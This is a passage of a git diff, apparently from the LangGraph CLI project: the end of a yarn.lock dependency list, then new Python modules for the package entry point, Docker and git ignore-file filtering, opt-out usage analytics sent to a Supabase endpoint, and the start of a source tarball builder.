"https://registry.yarnpkg.com/prettier-linter-helpers/-/prettier-linter-helpers-1.0.1.tgz#6a31f88a4bad6c7adda253de12ba4edaea80ebcd" + integrity sha512-SxToR7P8Y2lWmv/kTzVLC1t/GDI2WGjMwNhLLE9qtH8Q13C+aEmuRlzDst4Up4s0Wc8sF2M+J57iB3cMLqftfg== + dependencies: + fast-diff "^1.1.2" + +prettier@^3.9.4: + version "3.9.4" + resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.9.4.tgz#a9c477cf1614376bd1f6bbc593d8c0d414bcec87" + integrity sha512-yWG/o/4oJfo036EKAfK6ACAoDOfHeRHx4tuxkfBZiauURiaSmYwlpOr5LQqKtIkRD2z1PLteme2WoxEnj4tHTg== + +punycode@^2.1.0: + version "2.3.1" + resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5" + integrity sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg== + +reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9: + version "1.0.10" + resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz#c629219e78a3316d8b604c765ef68996964e7bf9" + integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw== + dependencies: + call-bind "^1.0.8" + define-properties "^1.2.1" + es-abstract "^1.23.9" + es-errors "^1.3.0" + es-object-atoms "^1.0.0" + get-intrinsic "^1.2.7" + get-proto "^1.0.1" + which-builtin-type "^1.2.1" + +regexp.prototype.flags@^1.5.4: + version "1.5.4" + resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19" + integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA== + dependencies: + call-bind "^1.0.8" + define-properties "^1.2.1" + es-errors "^1.3.0" + get-proto "^1.0.1" + gopd "^1.2.0" + set-function-name "^2.0.2" + +resolve-from@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6" + integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g== + +resolve@^1.22.4: + version "1.22.10" + resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.10.tgz#b663e83ffb09bbf2386944736baae803029b8b39" + integrity sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w== + dependencies: + is-core-module "^2.16.0" + path-parse "^1.0.7" + supports-preserve-symlinks-flag "^1.0.0" + +safe-array-concat@^1.1.3: + version "1.1.3" + resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz#c9e54ec4f603b0bbb8e7e5007a5ee7aecd1538c3" + integrity sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.2" + get-intrinsic "^1.2.6" + has-symbols "^1.1.0" + isarray "^2.0.5" + +safe-push-apply@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz#01850e981c1602d398c85081f360e4e6d03d27f5" + integrity sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA== + dependencies: + es-errors "^1.3.0" + isarray "^2.0.5" + +safe-regex-test@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz#7f87dfb67a3150782eaaf18583ff5d1711ac10c1" + integrity sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + is-regex "^1.2.1" + +semver@^6.3.1: + version "6.3.1" + resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4" + integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA== + +semver@^7.7.3: + version "7.7.4" + resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.4.tgz#28464e36060e991fa7a11d0279d2d3f3b57a7e8a" + integrity sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA== + +set-function-length@^1.2.2: + version "1.2.2" + resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449" + integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg== + dependencies: + define-data-property "^1.1.4" + es-errors "^1.3.0" + function-bind "^1.1.2" + get-intrinsic "^1.2.4" + gopd "^1.0.1" + has-property-descriptors "^1.0.2" + +set-function-name@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985" + integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ== + dependencies: + define-data-property "^1.1.4" + es-errors "^1.3.0" + functions-have-names "^1.2.3" + has-property-descriptors "^1.0.2" + +set-proto@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/set-proto/-/set-proto-1.0.0.tgz#0760dbcff30b2d7e801fd6e19983e56da337565e" + integrity sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw== + dependencies: + dunder-proto "^1.0.1" + es-errors "^1.3.0" + es-object-atoms "^1.0.0" + +shebang-command@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea" + integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA== + dependencies: + shebang-regex "^3.0.0" + +shebang-regex@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172" + integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A== + +side-channel-list@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad" + integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA== + dependencies: + es-errors "^1.3.0" + object-inspect "^1.13.3" + +side-channel-map@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42" + integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + get-intrinsic "^1.2.5" + object-inspect "^1.13.3" + +side-channel-weakmap@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea" + integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + get-intrinsic "^1.2.5" + object-inspect "^1.13.3" + side-channel-map "^1.0.1" + +side-channel@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9" + integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw== + dependencies: + es-errors "^1.3.0" + object-inspect "^1.13.3" + side-channel-list "^1.0.0" + side-channel-map "^1.0.1" + side-channel-weakmap "^1.0.2" + +stop-iteration-iterator@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz#f481ff70a548f6124d0312c3aa14cbfa7aa542ad" + integrity sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ== + dependencies: + es-errors "^1.3.0" + internal-slot "^1.1.0" + +string.prototype.trim@^1.2.10: + version "1.2.10" + resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz#40b2dd5ee94c959b4dcfb1d65ce72e90da480c81" + integrity sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.2" + define-data-property "^1.1.4" + define-properties "^1.2.1" + es-abstract "^1.23.5" + es-object-atoms "^1.0.0" + has-property-descriptors "^1.0.2" + +string.prototype.trimend@^1.0.9: + version "1.0.9" + resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz#62e2731272cd285041b36596054e9f66569b6942" + integrity sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.2" + define-properties "^1.2.1" + es-object-atoms "^1.0.0" + +string.prototype.trimstart@^1.0.8: + version "1.0.8" + resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz#7ee834dda8c7c17eff3118472bb35bfedaa34dde" + integrity sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg== + dependencies: + call-bind "^1.0.7" + define-properties "^1.2.1" + es-object-atoms "^1.0.0" + +strip-bom@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3" + integrity sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA== + +strip-json-comments@^3.1.1: + version "3.1.1" + resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006" + integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== + +supports-preserve-symlinks-flag@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09" + integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w== + +synckit@^0.11.13: + version "0.11.13" + resolved "https://registry.yarnpkg.com/synckit/-/synckit-0.11.13.tgz#062a5ea57d81befc35892f8254de5c567e97c80a" + integrity sha512-eNRKgb3z66Yp3D2CixVujOUvXLFUTij/zVnV8KRyvFdQwpz7I5DS8UfRkTeLzb64u+dkzDSdelE24izu+zSSUg== + dependencies: + "@pkgr/core" "^0.3.6" + +tinyglobby@^0.2.15: + version "0.2.15" + resolved "https://registry.yarnpkg.com/tinyglobby/-/tinyglobby-0.2.15.tgz#e228dd1e638cea993d2fdb4fcd2d4602a79951c2" + integrity sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ== + dependencies: + fdir "^6.5.0" + picomatch "^4.0.3" + +ts-api-utils@^2.5.0: + version "2.5.0" + resolved "https://registry.yarnpkg.com/ts-api-utils/-/ts-api-utils-2.5.0.tgz#4acd4a155e22734990a5ed1fe9e97f113bcb37c1" + integrity sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA== + +tsconfig-paths@^3.15.0: + version "3.15.0" + resolved "https://registry.yarnpkg.com/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz#5299ec605e55b1abb23ec939ef15edaf483070d4" + integrity sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg== + dependencies: + "@types/json5" "^0.0.29" + json5 "^1.0.2" + minimist "^1.2.6" + strip-bom "^3.0.0" + +turbo@^2.10.2: + version "2.10.2" + resolved "https://registry.yarnpkg.com/turbo/-/turbo-2.10.2.tgz#7b8993242d550e3adf7f3245b231f663e5300ebf" + integrity sha512-wTExrNrRjB8qzIcg+ZLm0A3GFNLDsWNwdS/RBXB0FPrBDyzk3i96Yx+TxWZC7a0k1SIreFB8ciUbxjmEqTH8IQ== + optionalDependencies: + "@turbo/darwin-64" "2.10.2" + "@turbo/darwin-arm64" "2.10.2" + "@turbo/linux-64" "2.10.2" + "@turbo/linux-arm64" "2.10.2" + "@turbo/windows-64" "2.10.2" + "@turbo/windows-arm64" "2.10.2" + +type-check@^0.4.0, type-check@~0.4.0: + version "0.4.0" + resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1" + integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew== + dependencies: + prelude-ls "^1.2.1" + +typed-array-buffer@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz#a72395450a4869ec033fd549371b47af3a2ee536" + integrity sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw== + dependencies: + call-bound "^1.0.3" + es-errors "^1.3.0" + is-typed-array "^1.1.14" + +typed-array-byte-length@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz#8407a04f7d78684f3d252aa1a143d2b77b4160ce" + integrity sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg== + dependencies: + call-bind "^1.0.8" + for-each "^0.3.3" + gopd "^1.2.0" + has-proto "^1.2.0" + is-typed-array "^1.1.14" + +typed-array-byte-offset@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz#ae3698b8ec91a8ab945016108aef00d5bff12355" + integrity sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ== + dependencies: + available-typed-arrays "^1.0.7" + call-bind "^1.0.8" + for-each "^0.3.3" + gopd "^1.2.0" + has-proto "^1.2.0" + is-typed-array "^1.1.15" + reflect.getprototypeof "^1.0.9" + +typed-array-length@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.7.tgz#ee4deff984b64be1e118b0de8c9c877d5ce73d3d" + integrity sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg== + dependencies: + call-bind "^1.0.7" + for-each "^0.3.3" + gopd "^1.0.1" + is-typed-array "^1.1.13" + possible-typed-array-names "^1.0.0" + reflect.getprototypeof "^1.0.6" + +typescript@^6.0.3: + version "6.0.3" + resolved "https://registry.yarnpkg.com/typescript/-/typescript-6.0.3.tgz#90251dc007916e972786cb94d74d15b185577d21" + integrity sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw== + +unbox-primitive@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.1.0.tgz#8d9d2c9edeea8460c7f35033a88867944934d1e2" + integrity sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw== + dependencies: + call-bound "^1.0.3" + has-bigints "^1.0.2" + has-symbols "^1.1.0" + which-boxed-primitive "^1.1.1" + +uri-js@^4.2.2: + version "4.4.1" + resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e" + integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg== + dependencies: + punycode "^2.1.0" + +which-boxed-primitive@^1.1.0, which-boxed-primitive@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz#d76ec27df7fa165f18d5808374a5fe23c29b176e" + integrity sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA== + dependencies: + is-bigint "^1.1.0" + is-boolean-object "^1.2.1" + is-number-object "^1.1.1" + is-string "^1.1.1" + is-symbol "^1.1.1" + +which-builtin-type@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/which-builtin-type/-/which-builtin-type-1.2.1.tgz#89183da1b4907ab089a6b02029cc5d8d6574270e" + integrity sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q== + dependencies: + call-bound "^1.0.2" + function.prototype.name "^1.1.6" + has-tostringtag "^1.0.2" + is-async-function "^2.0.0" + is-date-object "^1.1.0" + is-finalizationregistry "^1.1.0" + is-generator-function "^1.0.10" + is-regex "^1.2.1" + is-weakref "^1.0.2" + isarray "^2.0.5" + which-boxed-primitive "^1.1.0" + which-collection "^1.0.2" + which-typed-array "^1.1.16" + +which-collection@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.2.tgz#627ef76243920a107e7ce8e96191debe4b16c2a0" + integrity sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw== + dependencies: + is-map "^2.0.3" + is-set "^2.0.3" + is-weakmap "^2.0.2" + is-weakset "^2.0.3" + +which-typed-array@^1.1.16, which-typed-array@^1.1.19: + version "1.1.19" + resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.19.tgz#df03842e870b6b88e117524a4b364b6fc689f956" + integrity sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw== + dependencies: + available-typed-arrays "^1.0.7" + call-bind "^1.0.8" + call-bound "^1.0.4" + for-each "^0.3.5" + get-proto "^1.0.1" + gopd "^1.2.0" + has-tostringtag "^1.0.2" + +which@^2.0.1: + version "2.0.2" + resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1" + integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA== + dependencies: + isexe "^2.0.0" + +word-wrap@^1.2.5: + version "1.2.5" + resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34" + integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA== + +yocto-queue@^0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b" + integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== + +"zod@^3.25.76 || ^4": + version "4.3.6" + resolved "https://registry.yarnpkg.com/zod/-/zod-4.3.6.tgz#89c56e0aa7d2b05107d894412227087885ab112a" + integrity sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg== diff --git a/libs/cli/langgraph_cli/__init__.py b/libs/cli/langgraph_cli/__init__.py new file mode 100644 index 0000000..e2b01a9 --- /dev/null +++ b/libs/cli/langgraph_cli/__init__.py @@ -0,0 +1 @@ +__version__ = "0.4.31" diff --git a/libs/cli/langgraph_cli/__main__.py b/libs/cli/langgraph_cli/__main__.py new file mode 100644 index 0000000..98dcca0 --- /dev/null +++ b/libs/cli/langgraph_cli/__main__.py @@ -0,0 +1,4 @@ +from .cli import cli + +if __name__ == "__main__": + cli() diff --git a/libs/cli/langgraph_cli/_ignore.py b/libs/cli/langgraph_cli/_ignore.py new file mode 100644 index 0000000..5c09895 --- /dev/null +++ b/libs/cli/langgraph_cli/_ignore.py @@ -0,0 +1,124 @@ +"""Shared ignore-file handling for local source filtering.""" + +import pathlib +from dataclasses import dataclass + +import pathspec + +_ALWAYS_EXCLUDE = [ + "__pycache__/", + ".git/", + ".venv/", + "venv/", + "node_modules/", + ".tox/", + ".mypy_cache/", +] +_ALWAYS_EXCLUDE_NAMES = frozenset( + pattern.rstrip("/").split("/")[-1] for pattern in _ALWAYS_EXCLUDE +) +_GLOB_CHARS = frozenset("*?[") + + +@dataclass(frozen=True, slots=True) +class _NegatedDockerignoreHints: + exact_dirs: frozenset[pathlib.PurePosixPath] = frozenset() + wildcard_prefixes: frozenset[pathlib.PurePosixPath] = frozenset() + recurse_all: bool = False + + def requires_dir_walk(self, path: pathlib.PurePosixPath) -> bool: + if self.recurse_all or path in self.exact_dirs: + return True + return any( + path == prefix or path in prefix.parents or prefix in path.parents + for prefix in self.wildcard_prefixes + ) + + +def _build_ignore_spec( + directory: pathlib.Path, *, include_gitignore: bool = True +) -> pathspec.PathSpec: + """Build a PathSpec combining built-in exclusions with ignore files. + + Always excludes common non-source directories (`_ALWAYS_EXCLUDE`). On top + of that, patterns from `.dockerignore` are merged in. `.gitignore` patterns + are optional because some callers need Docker build-context semantics, + while archive creation wants both files. + """ + lines: list[str] = list(_ALWAYS_EXCLUDE) + ignore_files = [".dockerignore"] + if include_gitignore: + ignore_files.append(".gitignore") + for name in ignore_files: + ignore_file = directory / name + if ignore_file.is_file(): + lines.extend(ignore_file.read_text(encoding="utf-8").splitlines()) + return pathspec.PathSpec.from_lines("gitwildmatch", lines) + + +def _is_always_excluded(path: pathlib.PurePosixPath, *, is_dir: bool) -> bool: + """Whether `path` lives inside a built-in excluded directory.""" + parent_parts = path.parts if is_dir else path.parts[:-1] + return any(part in _ALWAYS_EXCLUDE_NAMES for part in parent_parts) + + +def _build_dockerignore_negation_hints( + directory: pathlib.Path, +) -> _NegatedDockerignoreHints: + """Summarize which ignored directories must still be traversed. + + Most negations only require walking a small, concrete chain of parent + directories (for example `!assets/keep.txt` requires entering `assets/`). + Broader glob negations may force a wider walk. + """ + ignore_file = directory / ".dockerignore" + if not ignore_file.is_file(): + return _NegatedDockerignoreHints() + + exact_dirs: set[pathlib.PurePosixPath] = set() + wildcard_prefixes: set[pathlib.PurePosixPath] = set() + recurse_all = False + + for raw_line in ignore_file.read_text(encoding="utf-8").splitlines(): + line = raw_line.strip() + if not line or line.startswith("#") or line.startswith("\\!"): + continue + if line.startswith("\\#"): + line = line[1:] + if not line.startswith("!"): + continue + + pattern = line[1:].lstrip("/") + while pattern.startswith("./"): + pattern = pattern[2:] + pattern = pattern.rstrip("/") + parts = [part for part in pattern.split("/") if part and part != "."] + if not parts: + recurse_all = True + continue + + wildcard_index = next( + ( + idx + for idx, part in enumerate(parts) + if any(char in part for char in _GLOB_CHARS) + ), + None, + ) + if wildcard_index is not None: + literal_parts = parts[:wildcard_index] + if not literal_parts: + recurse_all = True + continue + wildcard_prefixes.add(pathlib.PurePosixPath(*literal_parts)) + continue + + parent_parts = parts[:-1] + for idx in range(1, len(parent_parts) + 1): + exact_dirs.add(pathlib.PurePosixPath(*parent_parts[:idx])) + + return _NegatedDockerignoreHints( + exact_dirs=frozenset(exact_dirs), + wildcard_prefixes=frozenset(wildcard_prefixes), + recurse_all=recurse_all, + ) diff --git a/libs/cli/langgraph_cli/analytics.py b/libs/cli/langgraph_cli/analytics.py new file mode 100644 index 0000000..c645886 --- /dev/null +++ b/libs/cli/langgraph_cli/analytics.py @@ -0,0 +1,105 @@ +import functools +import json +import os +import pathlib +import platform +import threading +import urllib.error +import urllib.request +from typing import Any, TypedDict + +from langgraph_cli.constants import ( + DEFAULT_CONFIG, + DEFAULT_PORT, + SUPABASE_PUBLIC_API_KEY, + SUPABASE_URL, +) +from langgraph_cli.version import __version__ + + +class LogData(TypedDict): + os: str + os_version: str + python_version: str + cli_version: str + cli_command: str + params: dict[str, Any] + + +def get_anonymized_params( + kwargs: dict[str, Any], *, cli_command: str +) -> dict[str, bool | str]: + params: dict[str, bool | str] = {} + + if cli_command == "deploy" and ( + analytics_source := os.getenv("LANGGRAPH_CLI_ANALYTICS_SOURCE") + ): + params["source"] = analytics_source + + # anonymize params with values + if config := kwargs.get("config"): + if config != pathlib.Path(DEFAULT_CONFIG).resolve(): + params["config"] = True + + if port := kwargs.get("port"): + if port != DEFAULT_PORT: + params["port"] = True + + if kwargs.get("docker_compose"): + params["docker_compose"] = True + + if kwargs.get("debugger_port"): + params["debugger_port"] = True + + if kwargs.get("postgres_uri"): + params["postgres_uri"] = True + + # pick up exact values for boolean flags + for boolean_param in ["recreate", "pull", "watch", "wait", "verbose"]: + if kwargs.get(boolean_param): + params[boolean_param] = kwargs[boolean_param] + + return params + + +def log_data(data: LogData) -> None: + headers = { + "Content-Type": "application/json", + "apikey": SUPABASE_PUBLIC_API_KEY, + "User-Agent": "Mozilla/5.0", + } + supabase_url = SUPABASE_URL + + req = urllib.request.Request( + f"{supabase_url}/rest/v1/logs", + data=json.dumps(data).encode("utf-8"), + headers=headers, + method="POST", + ) + + try: + urllib.request.urlopen(req) + except urllib.error.URLError: + pass + + +def log_command(func): + @functools.wraps(func) + def decorator(*args, **kwargs): + if os.getenv("LANGGRAPH_CLI_NO_ANALYTICS") == "1": + return func(*args, **kwargs) + + data = { + "os": platform.system(), + "os_version": platform.version(), + "python_version": platform.python_version(), + "cli_version": __version__, + "cli_command": func.__name__, + "params": get_anonymized_params(kwargs, cli_command=func.__name__), + } + + background_thread = threading.Thread(target=log_data, args=(data,)) + background_thread.start() + return func(*args, **kwargs) + + return decorator diff --git a/libs/cli/langgraph_cli/archive.py b/libs/cli/langgraph_cli/archive.py new file mode 100644 index 0000000..81f9631 --- /dev/null +++ b/libs/cli/langgraph_cli/archive.py @@ -0,0 +1,138 @@ +"""Create a tarball of project source for remote builds.""" + +import os +import pathlib +import tarfile +import tempfile +from contextlib import contextmanager + +import click +import pathspec + +from langgraph_cli._ignore import _build_ignore_spec +from langgraph_cli.config import Config, _assemble_local_deps + +_WARN_SIZE = 50 * 1024 * 1024 # 50 MB +_MAX_SIZE = 200 * 1024 